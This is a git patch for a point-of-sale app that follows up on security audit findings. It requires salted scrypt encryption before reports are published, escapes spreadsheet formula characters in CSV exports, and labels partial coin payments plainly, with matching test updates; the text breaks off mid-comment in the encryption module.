From 30dfd3d1a9f36d381ad68ab887fde5bb1d0f6547 Mon Sep 17 00:00:00 2001 From: todortodorovic <95745674+todortodorovic@users.noreply.github.com> Date: Mon, 16 Nov 2026 21:32:27 +0100 Subject: [PATCH] Audit follow-ups: sealed reports, formula-safe CSV, partial claims said plainly Findings 11369, 11374, 11379 and 11383 from the security audit of e7073ffc. Reports (11374, 11379) - A report is never uploaded without a key. Bulletin is public and permanent, so the job refuses up front instead of falling back to plaintext, and the unused uploadReport path (plaintext) is gone. uploadDailyReport takes only a sealed envelope. - New reports are v3 envelopes: key = scrypt(passphrase, random 16-byte salt, N=2^15 r=8 p=1), salt and parameters in the envelope. The public 32-bit fingerprint of an unsalted SHA-256 key is no longer written; a salted key check tells a wrong key from a damaged copy instead. Readers cap the scrypt cost an envelope may ask for. - Legacy v2 reports still open (and still name the key they need). - A new passphrase needs at least 12 characters. Undo after Clear puts back an older, shorter phrase so its reports stay readable. CSV export (11369) - One escaper for both exports. A text cell starting with = + - @ tab or CR gets a leading apostrophe so a spreadsheet shows it instead of running it; plain numbers such as -5.00 stay numbers. The daily-reports page drops its own copy. Partial coins claims (11383) - The completed screen says "Partial payment" on a warning burst with an alert badge, and names what is missing: "Not paid in full: 7.50 CASH is missing. Only 5.00 of 12.50 CASH arrived." - Telemetry records outcome "partial", not "success". Checked: tsc, vitest (207), eslint, next build, the full e2e suite (133 passed), check:tokens unchanged. Co-Authored-By: Claude Opus 5.5 --- app/(shell)/daily-reports/page.tsx | 17 +- app/(shell)/settings/encryption/page.tsx | 9 +- .../settings/merchant-profile/page.tsx | 12 +- app/(shell)/terminal/page.tsx | 40 +++- app/globals.css | 17 +- e2e/payments/coins-outcomes.spec.ts | 11 +- e2e/screens/merchant-and-settings.spec.ts | 11 +- e2e/screens/reports.spec.ts | 87 +++++--- e2e/screens/settings.helpers.ts | 39 +++- lib/crypto/manual-key.ts | 76 +++++-- lib/crypto/symmetric-report.ts | 194 ++++++++++++++---- lib/export/csv.ts | 26 ++- lib/hooks/use-bulletin.ts | 55 +++-- lib/hooks/use-daily-report.ts | 75 +++---- lib/telemetry/payment-metrics.ts | 10 +- tests/csv-export.test.ts | 55 +++++ tests/report-crypto.test.ts | 75 +++++++ tests/telemetry.test.ts | 6 + 18 files changed, 596 insertions(+), 219 deletions(-) create mode 100644 tests/csv-export.test.ts create mode 100644 tests/report-crypto.test.ts diff --git a/app/(shell)/daily-reports/page.tsx b/app/(shell)/daily-reports/page.tsx index 3281c06..a619986 100644 --- a/app/(shell)/daily-reports/page.tsx +++ b/app/(shell)/daily-reports/page.tsx @@ -33,6 +33,7 @@ import type { DailyReportRecord } from "@/lib/storage/types"; import { isHostPrinterAvailable, printHostDocument, type PrintDocumentKind } from "@/lib/host/printing"; import { buildReportPrintDocument } from "@/lib/receipts/thermal-print"; import { warmUpReportPath } from "@/lib/host/warmup"; +import { csvLine } from "@/lib/export/csv"; export default function DailyReportsPage() { const symbol = useAssetSymbol(); @@ -313,22 +314,16 @@ export default function DailyReportsPage() { "Timestamp", "Timestamp Formatted", "Terminal ID", "Refund Of", ]; - const escCsv = (val: string | null) => { - if (val === null) return ""; - if (val.includes(",") || val.includes('"') || val.includes("\n")) { - return `"${val.replace(/"/g, '""')}"`; - } - return val; - }; - - const rows = selectedReport.transactions.map(tx => [ + // Report fields can come from a CID fetched off Bulletin, so every cell + // goes through the shared escaper (formula injection included). + const rows = selectedReport.transactions.map(tx => csvLine([ tx.saleId, tx.status, tx.amount, tx.amountFormatted, tx.asset, tx.originalMerchant || tx.evmMerchant, tx.originalCustomer || tx.evmCustomer, tx.txHash, tx.blockNumber, tx.timestamp, tx.timestampFormatted, tx.terminalId, tx.refundOf ?? "", - ].map(escCsv).join(",")); + ])); - const csv = [headers.join(","), ...rows].join("\n"); + const csv = [csvLine(headers), ...rows].join("\n"); const blob = new Blob([csv], { type: "text/csv" }); const url = URL.createObjectURL(blob); const link = document.createElement("a"); diff --git a/app/(shell)/settings/encryption/page.tsx b/app/(shell)/settings/encryption/page.tsx index 62b7fda..1316e62 100644 --- a/app/(shell)/settings/encryption/page.tsx +++ b/app/(shell)/settings/encryption/page.tsx @@ -17,6 +17,8 @@ import { getManualPassphrase, clearManualPassphrase, manualKeyFingerprint, + restoreManualPassphrase, + MIN_PASSPHRASE_LENGTH, } from "@/lib/crypto/manual-key"; import { journeyTracker, breadcrumb } from "@/lib/telemetry"; @@ -81,7 +83,7 @@ export default function EncryptionSettingsPage() { // Never overwrite a key set since the Clear. if (!cleared || getManualPassphrase()) return; if (undoTimer.current) clearTimeout(undoTimer.current); - setManualPassphrase(cleared); + restoreManualPassphrase(cleared); setCleared(null); refresh(); }; @@ -111,6 +113,9 @@ export default function EncryptionSettingsPage() {

Use the same phrase on every device that needs to read the reports. If you change or lose it, older reports can no longer be opened.

+

+ Reports are stored publicly, so they are never saved without a key. A phrase of a few words ({MIN_PASSPHRASE_LENGTH} characters or more) is hard to guess. +

{/* Current key fingerprint */} @@ -125,7 +130,7 @@ export default function EncryptionSettingsPage() { Set ) : ( - No key set — reports will upload as plaintext + No key set — reports can't be saved until you set one )} {cleared && (

- Your reports are encrypted with a key derived from this password. + Your reports are encrypted with a key derived from this password. Use at + least {MIN_PASSPHRASE_LENGTH} characters. {fingerprint && ( <> {" "} diff --git a/app/(shell)/terminal/page.tsx b/app/(shell)/terminal/page.tsx index bfcd79a..b96b199 100644 --- a/app/(shell)/terminal/page.tsx +++ b/app/(shell)/terminal/page.tsx @@ -179,7 +179,7 @@ function TerminalPageInner() { const [paymentReceivedAt, setPaymentReceivedAt] = useState(null); // Coins claim that credited less than the cheque asked for (the host will // claim no more) — shown on the completed screen next to the recorded amount. - const [coinsShortfall, setCoinsShortfall] = useState<{ requested: string; credited: string } | null>(null); + const [coinsShortfall, setCoinsShortfall] = useState<{ requested: string; credited: string; missing: string } | null>(null); const [svgReceipt, setSvgReceipt] = useState(null); const [finalAmount, setFinalAmount] = useState(""); const [showCancelModal, setShowCancelModal] = useState(false); @@ -342,7 +342,16 @@ function TerminalPageInner() { setPaymentReceivedAt(receivedAt); setSaleId(result.paymentId); setCoinsShortfall( - result.partial ? { requested: result.requestedAmount, credited: result.amount } : null, + result.partial + ? { + requested: result.requestedAmount, + credited: result.amount, + missing: formatAmountFromPlanck( + amountToPlanck(result.requestedAmount, PUSD_DECIMALS) - amountToPlanck(result.amount, PUSD_DECIMALS), + PUSD_DECIMALS, + ), + } + : null, ); const receiptItems: ReceiptItem[] = pendingItems.map((line) => ({ @@ -393,9 +402,10 @@ function TerminalPageInner() { setTerminalState("completed"); journeyTracker.complete("terminal-payment"); recordPaymentOutcome({ - outcome: "success", + outcome: result.partial ? "partial" : "success", method: "coins", amount: result.amount, + ...(result.partial ? { reason: `credited ${result.amount} of ${result.requestedAmount}` } : {}), source: searchParams.get("source") ?? "direct", saleId: result.paymentId, terminalId: terminalId ?? undefined, @@ -1314,10 +1324,15 @@ function TerminalPageInner() { whole zone is filled (see .success-burst in globals.css); overflow-hidden clips the disc to this zone, the details card below keeps its container surface. */} + {/* A partial claim is not a success: the same burst in the warning + fill, an alert badge and its own title, so nobody at the till + mistakes it for a paid sale. */}

@@ -1333,11 +1348,17 @@ function TerminalPageInner() {
-
- -
+ {coinsShortfall ? ( +
+ +
+ ) : ( +
+ +
+ )}

- Payment received + {coinsShortfall ? "Partial payment" : "Payment received"}

@@ -1371,7 +1392,8 @@ function TerminalPageInner() {

{coinsShortfall && (

- Received {coinsShortfall.credited} of {coinsShortfall.requested} {symbol}. The rest didn't arrive. + Not paid in full: {coinsShortfall.missing} {symbol} is missing. Only{" "} + {coinsShortfall.credited} of {coinsShortfall.requested} {symbol} arrived.

)} diff --git a/app/globals.css b/app/globals.css index fbfcf44..e81eb1c 100644 --- a/app/globals.css +++ b/app/globals.css @@ -132,9 +132,24 @@ body { .success-badge { animation: success-badge-invert 0.30s ease-out 0.40s forwards; } +/* The partial-payment twin: same timing, warning fill. */ +@keyframes warning-badge-invert { + from { + background-color: var(--bg-status-warning); + color: var(--fg-static-white); + } + to { + background-color: var(--fg-static-white); + color: var(--bg-status-warning); + } +} +.warning-badge { + animation: warning-badge-invert 0.30s ease-out 0.40s forwards; +} @media (prefers-reduced-motion: reduce) { .success-burst, - .success-badge { + .success-badge, + .warning-badge { animation-duration: 0.01ms; animation-delay: 0s; } diff --git a/e2e/payments/coins-outcomes.spec.ts b/e2e/payments/coins-outcomes.spec.ts index eb4e3ba..2591dac 100644 --- a/e2e/payments/coins-outcomes.spec.ts +++ b/e2e/payments/coins-outcomes.spec.ts @@ -41,12 +41,12 @@ async function openHistory(frame: FrameLocator) { } async function finishSale(frame: FrameLocator) { - await expect(frame.locator('[data-testid="payment-completed"]')).toHaveText("Payment received"); + await expect(frame.locator('[data-testid="payment-completed"]')).toHaveText(/^(Payment received|Partial payment)$/); await frame.locator('[data-testid="btn-done"]').click(); await expect(frame.locator('[data-testid="terminal-header"]')).toBeVisible(); } -/** The big amount on the "Payment received" screen: the first bare figure in its details card. */ +/** The big amount on the completed screen: the first bare figure in its details card. */ const completedAmount = (frame: FrameLocator) => frame.locator('[data-testid="completed-amount"]'); /** @@ -83,10 +83,11 @@ test.describe("coins claim outcomes", () => { await host.emitTopUpStatus(topUp.idHex, { tag: "ClaimedPartially", actualClaimed: planck("5.00").toString() }); - await expect(frame.locator('[data-testid="payment-completed"]')).toHaveText("Payment received"); + // Not a success: its own title, and the missing part named. + await expect(frame.locator('[data-testid="payment-completed"]')).toHaveText("Partial payment"); await expect(frame.locator('[data-testid="sale-id"]')).toHaveText(`#${req.id.slice(-4)}`); await expect(frame.locator('[data-testid="coins-shortfall"]')).toHaveText( - "Received 5.00 of 12.50 CASH. The rest didn't arrive.", + "Not paid in full: 7.50 CASH is missing. Only 5.00 of 12.50 CASH arrived.", ); // Stored at the credited amount, with what was asked for, and final: @@ -132,7 +133,7 @@ test.describe("coins claim outcomes", () => { const { topUp } = await chargeAndPay(host, frame, "12.50"); await host.emitTopUpStatus(topUp.idHex, { tag: "ClaimedPartially", actualClaimed: planck("5.00").toString() }); await expect(frame.locator('[data-testid="coins-shortfall"]')).toHaveText( - "Received 5.00 of 12.50 CASH. The rest didn't arrive.", + "Not paid in full: 7.50 CASH is missing. Only 5.00 of 12.50 CASH arrived.", ); await expect(completedAmount(frame)).toHaveText("5.00", { timeout: 5_000 }); }); diff --git a/e2e/screens/merchant-and-settings.spec.ts b/e2e/screens/merchant-and-settings.spec.ts index 0390948..365dc76 100644 --- a/e2e/screens/merchant-and-settings.spec.ts +++ b/e2e/screens/merchant-and-settings.spec.ts @@ -240,10 +240,15 @@ test.describe("settings", () => { test("Report Encryption (URL-only): Save shows the key's fingerprint, kept on this device", async ({ host }) => { await bootTerminal(host); let frame = await restartOn(host, "/settings/encryption"); - await expect(frame.getByText("No key set — reports will upload as plaintext")).toBeVisible(); + await expect(frame.getByText("No key set — reports can't be saved until you set one")).toBeVisible(); const input = frame.getByPlaceholder("Enter a secret phrase"); const save = frame.getByRole("button", { name: "Save" }); await expect(save).toBeDisabled(); + // Reports are public ciphertext: a short phrase is refused. + await input.fill("short key"); + await save.click(); + await expect(frame.getByText("Use at least 12 characters — a few words work well.")).toBeVisible(); + await expect(frame.getByText("No key set — reports can't be saved until you set one")).toBeVisible(); await input.fill(" correct horse battery "); await save.click(); @@ -271,7 +276,7 @@ test.describe("settings", () => { await expect(frame.getByText(keyFingerprint("lunch shift key"), { exact: true })).toBeVisible(); await frame.getByRole("button", { name: "Clear" }).click(); - await expect(frame.getByText("No key set — reports will upload as plaintext")).toBeVisible({ timeout: 5_000 }); + await expect(frame.getByText("No key set — reports can't be saved until you set one")).toBeVisible({ timeout: 5_000 }); await expect(frame.getByTestId("encryption-key-cleared")).toContainText("can't be opened"); await frame.getByRole("button", { name: "Undo" }).click(); @@ -288,6 +293,6 @@ test.describe("settings", () => { // Clearing for good survives a restart. await frame.getByRole("button", { name: "Clear" }).click(); const after = await restartOn(host, "/settings/encryption"); - await expect(after.getByText("No key set — reports will upload as plaintext")).toBeVisible(); + await expect(after.getByText("No key set — reports can't be saved until you set one")).toBeVisible(); }); }); diff --git a/e2e/screens/reports.spec.ts b/e2e/screens/reports.spec.ts index 58a198c..292f071 100644 --- a/e2e/screens/reports.spec.ts +++ b/e2e/screens/reports.spec.ts @@ -7,8 +7,10 @@ import { keyFingerprint, merchantAddress, onboardedMerchantStorage, + openReport, preimageText, restartOn, + setReportKey, seedSales, seedTodaysSales, todayKey, @@ -16,10 +18,12 @@ import { } from "./settings.helpers"; /** - * Reports (Home → Reports, merchant-only). A report is JSON uploaded through - * the host's preimage store (Bulletin): the app claims its allowances, asks - * for the PreimageSubmit permission, submits the bytes and keeps the CID in - * the `dailyReports` table. Opening a report looks the bytes up again by the + * Reports (Home → Reports, merchant-only). A report is JSON sealed under the + * merchant's report key (v3 envelope: scrypt + XChaCha20-Poly1305) and + * uploaded through the host's preimage store (Bulletin): the app claims its + * allowances, asks for the PreimageSubmit permission, submits the bytes and + * keeps the CID in the `dailyReports` table. Without a key nothing is + * uploaded. Opening a report looks the bytes up again by the * CID's digest. No chain is served, so the on-chain mirror always skips. * * Every test boots as an onboarded merchant (seeded before the product @@ -60,9 +64,14 @@ async function waitForReports(host: T3Host, expected: unknown): Promise "0x" + Buffer.from(blake2b(Buffer.from(text, "utf8"), { dkLen: 32 })).toString("hex"); -/** Boot, seed today's sales and open Home → Reports in-app. */ -async function openReports(host: T3Host, amounts: string[]): Promise<{ frame: FrameLocator; sales: SeededSale[] }> { +/** Boot, set the report key (unless `withKey` is false), seed today's sales and open Home → Reports in-app. */ +async function openReports( + host: T3Host, + amounts: string[], + { withKey = true }: { withKey?: boolean } = {}, +): Promise<{ frame: FrameLocator; sales: SeededSale[] }> { const frame = await bootTerminal(host); + if (withKey) await setReportKey(host); const sales = amounts.length ? await seedTodaysSales(host, amounts) : []; await gotoReportsFromHome(frame, () => frame.getByRole("link", { name: "Home", exact: true }).click()); return { frame, sales }; @@ -105,10 +114,11 @@ test.describe("reports", () => { expect(host.events.indexOf(alloc)).toBeLessThan(host.events.indexOf(submit)); expect(host.events.indexOf(perm)).toBeLessThan(host.events.indexOf(submit)); - // The bytes are the plain JSON report for today's two sales. + // The bytes are the sealed report; opened with the key, it is today's two sales. const text = await preimageText(host, submit.key); expect(keyOf(text)).toBe(submit.key); - const report = JSON.parse(text) as ReportJson; + for (const s of sales) expect(text).not.toContain(s.saleId); + const report = openReport(text); expect(report).toMatchObject({ selectedDate: todayKey(), periodKey: todayKey(), @@ -149,7 +159,7 @@ test.describe("reports", () => { await expect(toast(frame)).toHaveText("Closed Period 1", { timeout: 60_000 }); const z = await host.next("preimageSubmit", undefined, { since }); - const zReport = JSON.parse(await preimageText(host, z.key)) as ReportJson; + const zReport = openReport(await preimageText(host, z.key)); expect(zReport).toMatchObject({ periodKey: todayKey(), dayFinalized: true, totalTransactions: 3 }); const [closed] = await waitForReports(host, [ expect.objectContaining({ date: todayKey(), finalized: true, entryCount: 3 }), @@ -171,7 +181,7 @@ test.describe("reports", () => { await frame.getByRole("button", { name: "Save Current Report" }).click(); await expect(toast(frame)).toHaveText("Saved Period 2", { timeout: 60_000 }); const x = await host.next("preimageSubmit", undefined, { since: since2 }); - const xReport = JSON.parse(await preimageText(host, x.key)) as ReportJson; + const xReport = openReport(await preimageText(host, x.key)); expect(xReport).toMatchObject({ periodKey: `${todayKey()}#02`, periodLabel: "Period 2", totalTransactions: 1 }); expect(xReport.transactions.map((t) => t.saleId)).toEqual([late.saleId]); await expect @@ -221,12 +231,17 @@ test.describe("reports", () => { await expect(toast(frame)).toHaveText("Saved Period 1", { timeout: 60_000 }); const { key } = await host.next("preimageSubmit", undefined, { since }); - // What left the device is the v2 envelope, not the report. + // What left the device is the v3 envelope, not the report: a salted + // scrypt key, and no fingerprint of it to test guesses against. const text = await preimageText(host, key); - const envelope = JSON.parse(text) as { v: number; encrypted: string; meta: Record }; - expect(envelope.v).toBe(2); + const envelope = JSON.parse(text) as { v: number; kdf: Record; encrypted: string; meta: Record }; + expect(envelope.v).toBe(3); + expect(envelope.kdf).toMatchObject({ name: "scrypt", N: 2 ** 15, r: 8, p: 1, salt: expect.stringMatching(/^[0-9a-f]{32}$/) }); expect(envelope.encrypted).toMatch(/^[0-9a-f]+$/); - expect(envelope.meta).toMatchObject({ date: todayKey(), txCount: 2, keyFingerprint: keyFingerprint(passphrase) }); + expect(envelope.meta).toMatchObject({ date: todayKey(), txCount: 2, keyCheck: expect.stringMatching(/^[0-9a-f]{8}$/) }); + expect(envelope.meta).not.toHaveProperty("keyFingerprint"); + expect(text).not.toContain(keyFingerprint(passphrase)); + expect(openReport(text, passphrase).totalTransactions).toBe(2); for (const s of sales) expect(text).not.toContain(s.saleId); expect(text).not.toContain("transactions"); expect(text).not.toContain(passphrase); @@ -255,7 +270,7 @@ test.describe("reports", () => { // merchant would, in Settings → Report Encryption. frame = await restartOn(host, "/settings/encryption"); await frame.getByRole("button", { name: "Clear" }).click(); - await expect(frame.getByText("No key set — reports will upload as plaintext")).toBeVisible(); + await expect(frame.getByText("No key set — reports can't be saved until you set one")).toBeVisible(); frame = await restartOn(host, "/daily-reports"); await frame.locator('[data-testid="report-view-0"]').click(); await expect( @@ -265,31 +280,51 @@ test.describe("reports", () => { }); test("a report encrypted under another key says the key is wrong", async ({ host }) => { - // The envelope carries the key's fingerprint (meta.keyFingerprint), so - // the merchant is told the key does not match, not shown a crypto error. + // The envelope carries a salted key check (meta.keyCheck), so the + // merchant is told the key does not match, not shown a crypto error. await bootTerminal(host); await seedTodaysSales(host, ["5.55"]); let frame = await restartOn(host, "/settings/encryption"); - await frame.getByPlaceholder("Enter a secret phrase").fill("key one"); + await frame.getByPlaceholder("Enter a secret phrase").fill("first report key"); await frame.getByRole("button", { name: "Save" }).click(); - await expect(frame.getByText(keyFingerprint("key one"), { exact: true })).toBeVisible(); + await expect(frame.getByText(keyFingerprint("first report key"), { exact: true })).toBeVisible(); frame = await restartOn(host, "/home/reports"); await frame.getByRole("button", { name: "Save Current Report" }).click(); await expect(toast(frame)).toHaveText("Saved Period 1", { timeout: 60_000 }); frame = await restartOn(host, "/settings/encryption"); - await frame.getByPlaceholder("Enter a secret phrase").fill("key two"); + await frame.getByPlaceholder("Enter a secret phrase").fill("second report key"); await frame.getByRole("button", { name: "Save" }).click(); - await expect(frame.getByText(keyFingerprint("key two"), { exact: true })).toBeVisible(); + await expect(frame.getByText(keyFingerprint("second report key"), { exact: true })).toBeVisible(); frame = await restartOn(host, "/daily-reports"); await frame.locator('[data-testid="report-view-0"]').click(); await expect(frame.getByText("Loading report from IPFS...")).toHaveCount(0, { timeout: 30_000 }); await expect(frame.getByText("Report Summary")).toHaveCount(0); - await expect(frame.getByText(/encrypted with a different key/i)).toBeVisible({ timeout: 5_000 }); - await expect(frame.getByText(keyFingerprint("key one"))).toBeVisible(); + await expect( + frame.getByText( + "This report was encrypted with a different key. Set that key in Settings → Report Encryption to open it.", + ), + ).toBeVisible({ timeout: 5_000 }); + // A v3 envelope does not publish which key it needs. + await expect(frame.getByText(keyFingerprint("first report key"))).toHaveCount(0); await expect(frame.getByText(/invalid tag/i)).toHaveCount(0); }); + test("without a report key the save is refused and nothing leaves the device", async ({ host }) => { + const { frame } = await openReports(host, ["6.00"], { withKey: false }); + + const since = host.mark(); + await frame.getByRole("button", { name: "Save Current Report" }).click(); + const reason = "Set a report encryption key in Settings → Report Encryption first."; + await expect(toast(frame)).toContainText(reason, { timeout: 60_000 }); + await expect(frame.locator('[data-testid="report-error"]')).toContainText(reason); + + expect(host.events.slice(since).filter((e) => e.type === "preimageSubmit")).toHaveLength(0); + expect(await host.getPreimages()).toEqual([]); + expect(await storedReports(host)).toEqual([]); + await expect(frame.getByRole("button", { name: "Save Current Report" })).toBeEnabled(); + }); + test("a denied PreimageSubmit permission fails the save with the host's reason", async ({ host }) => { const { frame } = await openReports(host, ["8.00"]); await host.setPermission("PreimageSubmit", false); @@ -360,6 +395,7 @@ test.describe("reports", () => { test.describe("legacy /daily-reports Z report", () => { test("Run Z asks first: Cancel uploads nothing; Close period closes today's period", async ({ host }) => { await bootTerminal(host); + await setReportKey(host); const sales = await seedTodaysSales(host, ["2.40", "1.60"]); const frame = await restartOn(host, "/daily-reports"); const runZ = frame.getByRole("button", { name: "Run Z", exact: true }); @@ -381,7 +417,7 @@ test.describe("legacy /daily-reports Z report", () => { await expect(toast(frame)).toHaveText("Closed Period 1", { timeout: 60_000 }); const z = await host.next("preimageSubmit", undefined, { since }); - const report = JSON.parse(await preimageText(host, z.key)) as ReportJson; + const report = openReport(await preimageText(host, z.key)); expect(report).toMatchObject({ periodKey: todayKey(), dayFinalized: true, totalTransactions: 2 }); expect(report.transactions.map((t) => t.saleId)).toEqual(sales.map((s) => s.saleId)); await waitForReports(host, [expect.objectContaining({ date: todayKey(), finalized: true, entryCount: 2 })]); @@ -396,6 +432,7 @@ test.describe("legacy /daily-reports Z report", () => { test("an X report left open on a past day is closed from its history row, with that day's sales only", async ({ host }) => { await bootTerminal(host); + await setReportKey(host); const noonYesterday = new Date(); noonYesterday.setDate(noonYesterday.getDate() - 1); noonYesterday.setHours(12, 0, 0, 0); @@ -427,7 +464,7 @@ test.describe("legacy /daily-reports Z report", () => { await expect(toast(frame)).toHaveText("Closed Period 1", { timeout: 60_000 }); const z = await host.next("preimageSubmit", undefined, { since }); - const report = JSON.parse(await preimageText(host, z.key)) as ReportJson; + const report = openReport(await preimageText(host, z.key)); expect(report).toMatchObject({ selectedDate: yesterday, periodKey: yesterday, dayFinalized: true, totalTransactions: 2 }); expect(report.transactions.map((t) => t.saleId)).toEqual(past.map((s) => s.saleId)); // The open record is locked in place (same row, new CID). diff --git a/e2e/screens/settings.helpers.ts b/e2e/screens/settings.helpers.ts index ad5cdd8..e27d047 100644 --- a/e2e/screens/settings.helpers.ts +++ b/e2e/screens/settings.helpers.ts @@ -3,7 +3,8 @@ // URL-only routes, host-storage settings rows, seeded sales, the bytes the // host received as preimages and a scan of all host storage. import { expect, type FrameLocator } from "@playwright/test"; -import { createHash, randomBytes } from "node:crypto"; +import { createHash, randomBytes, scryptSync } from "node:crypto"; +import { xchacha20poly1305 } from "@noble/ciphers/chacha.js"; import { AccountId } from "polkadot-api"; import type { T3Host } from "../host/fixture"; import { planck } from "../host/flows"; @@ -149,6 +150,42 @@ export async function hostStorageHits(host: T3Host, needle: string): Promise { + await host.productFrame().locator("body").evaluate( + (_, p) => localStorage.setItem("t3rminal:manual-encryption-passphrase", p), + passphrase, + ); +} + +/** A v3 report envelope as it lands on Bulletin. */ +export interface ReportEnvelope { + v: number; + kdf: { name: string; N: number; r: number; p: number; salt: string }; + encrypted: string; + meta: Record; +} + +/** Open a v3 envelope with `passphrase` (scrypt + XChaCha20-Poly1305), as the app does. */ +export function openReport(text: string, passphrase = REPORT_PASSPHRASE): T { + const env = JSON.parse(text) as ReportEnvelope; + if (env.v !== 3) throw new Error(`expected a v3 report envelope, got v${env.v}`); + const { N, r, p, salt } = env.kdf; + const key = scryptSync(Buffer.from(passphrase.trim().normalize("NFKC"), "utf8"), Buffer.from(salt, "hex"), 32, { + N, r, p, maxmem: 256 * N * r, + }); + const packed = Buffer.from(env.encrypted, "hex"); + const plain = xchacha20poly1305(key, packed.subarray(0, 24)).decrypt(packed.subarray(24)); + return JSON.parse(Buffer.from(plain).toString("utf8")) as T; +} + /** The fingerprint Settings → Report Encryption shows for `passphrase`. */ export function keyFingerprint(passphrase: string): string { const key = createHash("sha256").update(`t3rminal-manual-key:${passphrase.trim()}`).digest(); diff --git a/lib/crypto/manual-key.ts b/lib/crypto/manual-key.ts index 423fc23..06abb6a 100644 --- a/lib/crypto/manual-key.ts +++ b/lib/crypto/manual-key.ts @@ -1,13 +1,14 @@ /** - * Manual symmetric key for daily-report encryption. + * The merchant's report-encryption passphrase. * - * Merchant types a passphrase on the encryption settings page; we derive a - * 32-byte key from it via SHA-256 and persist BOTH the passphrase and a - * fingerprint in localStorage. The same key is used to encrypt new daily - * reports and to decrypt reports read back from Bulletin. + * The merchant types it on Settings → Report Encryption (or Merchant + * Profile); it is kept in this device's localStorage and never leaves it. + * Reports are sealed under a key derived from it per report with scrypt and a + * random salt (see lib/crypto/symmetric-report.ts). * - * This is intentionally simple — symmetric, single secret, no recipient list, - * no key exchange. It replaces the per-device public-key flow for now. + * The fingerprint shown in Settings lets the merchant check that two + * terminals hold the same phrase. It is computed on the device only and is no + * longer written into new reports. */ "use client" @@ -16,6 +17,9 @@ import { sha256 } from "@noble/hashes/sha2.js" const PASSPHRASE_KEY = "t3rminal:manual-encryption-passphrase" +/** Reports are public ciphertext, so the phrase has to be long enough to resist guessing. */ +export const MIN_PASSPHRASE_LENGTH = 12 + function utf8(s: string): Uint8Array { return new TextEncoder().encode(s) } @@ -24,15 +28,32 @@ function bytesToHex(bytes: Uint8Array): string { return Array.from(bytes).map((b) => b.toString(16).padStart(2, "0")).join("") } -/** Derive the 32-byte symmetric key from a passphrase. */ -export function deriveKeyFromPassphrase(passphrase: string): Uint8Array { - return sha256(utf8(`t3rminal-manual-key:${passphrase.trim()}`)) +/** Why `passphrase` can't be used as the report key, or null when it can. */ +export function passphraseProblem(passphrase: string): string | null { + const trimmed = passphrase.trim() + if (!trimmed) return "Passphrase cannot be empty" + if ([...trimmed].length < MIN_PASSPHRASE_LENGTH) { + return `Use at least ${MIN_PASSPHRASE_LENGTH} characters — a few words work well.` + } + return null } export function setManualPassphrase(passphrase: string): void { + if (typeof window === "undefined") return + const problem = passphraseProblem(passphrase) + if (problem) throw new Error(problem) + localStorage.setItem(PASSPHRASE_KEY, passphrase.trim()) +} + +/** + * Put back a phrase this device held a moment ago (Settings → Clear → Undo). + * Skips the length rule: a phrase set before the rule existed still has to + * come back, or its reports could no longer be opened. + */ +export function restoreManualPassphrase(passphrase: string): void { if (typeof window === "undefined") return const trimmed = passphrase.trim() - if (!trimmed) throw new Error("Passphrase cannot be empty") + if (!trimmed) return localStorage.setItem(PASSPHRASE_KEY, trimmed) } @@ -50,20 +71,31 @@ export function hasManualKey(): boolean { return getManualPassphrase() !== null } -/** Returns the derived 32-byte key, or null if no passphrase set. */ -export function loadManualKey(): Uint8Array | null { - const p = getManualPassphrase() - if (!p) return null - return deriveKeyFromPassphrase(p) +/** + * The legacy (v2) report key: one SHA-256 over a fixed prefix and the phrase. + * Only for opening reports sealed before v3 — never used to seal. + */ +export function deriveLegacyKey(passphrase: string): Uint8Array { + return sha256(utf8(`t3rminal-manual-key:${passphrase.trim()}`)) +} + +/** First 8 hex chars of SHA-256 over the legacy key — what v2 envelopes carry. */ +export function legacyKeyFingerprint(passphrase: string): string { + const key = deriveLegacyKey(passphrase) + try { + return bytesToHex(sha256(key)).slice(0, 8).toUpperCase() + } finally { + key.fill(0) + } } /** - * Short, human-readable fingerprint of the current key (first 8 hex chars of - * SHA-256 over the derived key). Lets the merchant verify "do two terminals - * share the same key" without revealing the passphrase. + * Short fingerprint of this device's phrase, for comparing terminals in + * Settings. Same value as the legacy v2 envelopes named, so a merchant can + * still match an old report's key; computed locally, never published. */ export function manualKeyFingerprint(): string | null { - const key = loadManualKey() - if (!key) return null - return bytesToHex(sha256(key)).slice(0, 8).toUpperCase() + const p = getManualPassphrase() + if (!p) return null + return legacyKeyFingerprint(p) } diff --git a/lib/crypto/symmetric-report.ts b/lib/crypto/symmetric-report.ts index e457d7e..cbda8f2 100644 --- a/lib/crypto/symmetric-report.ts +++ b/lib/crypto/symmetric-report.ts @@ -1,20 +1,29 @@ /** - * Symmetric report encryption using the merchant's manual passphrase key. + * Report encryption under the merchant's passphrase. * - * Replaces the older per-recipient hybrid envelope (see encrypt-report.ts). - * Same XChaCha20-Poly1305 primitive, but the key comes from the manually - * configured passphrase — no public keys, no recipient list. + * Reports go to Bulletin, which anyone can read, forever. So the key that + * seals them has to resist offline guessing: * - * Envelope `v: 2` distinguishes this format from the `v: 1` recipient-based - * envelopes so old reports still decrypt via the legacy path. + * v3 (current) — key = scrypt(passphrase, random 16-byte salt), the salt + * and scrypt parameters in the envelope. A guess costs one scrypt per + * envelope, and no table computed once works against every merchant. + * `meta.keyCheck` lets the reader tell "wrong key" from "damaged copy"; + * it is derived from the salted key, so it is no cheaper to attack than + * the AEAD tag itself. + * v2 (legacy, read-only) — key = SHA-256 of a fixed prefix + passphrase, + * with the key's fingerprint in the clear. Kept so reports already on + * the chain still open; nothing writes it any more. + * + * Both use XChaCha20-Poly1305: hex(nonce(24) || ciphertext). */ "use client" -import { - xchachaEncryptPacked, - xchachaDecryptPacked, -} from "@/lib/crypto/primitives" +import { scryptAsync } from "@noble/hashes/scrypt.js" +import { sha256 } from "@noble/hashes/sha2.js" +import { randomBytes } from "@noble/hashes/utils.js" +import { xchachaEncryptPacked, xchachaDecryptPacked } from "@/lib/crypto/primitives" +import { deriveLegacyKey, legacyKeyFingerprint } from "@/lib/crypto/manual-key" function bytesToHex(bytes: Uint8Array): string { return Array.from(bytes).map((b) => b.toString(16).padStart(2, "0")).join("") @@ -22,55 +31,152 @@ function bytesToHex(bytes: Uint8Array): string { function hexToBytes(hex: string): Uint8Array { const clean = hex.startsWith("0x") ? hex.slice(2) : hex + if (clean.length % 2 !== 0 || /[^0-9a-f]/i.test(clean)) throw new Error("Invalid hex") const bytes = new Uint8Array(clean.length / 2) for (let i = 0; i < bytes.length; i++) bytes[i] = parseInt(clean.slice(i * 2, i * 2 + 2), 16) return bytes } -export interface SymmetricEncryptedReport { - v: 2 - /** XChaCha20-Poly1305: hex(nonce(24) || ciphertext) */ +/** scrypt cost for new envelopes: 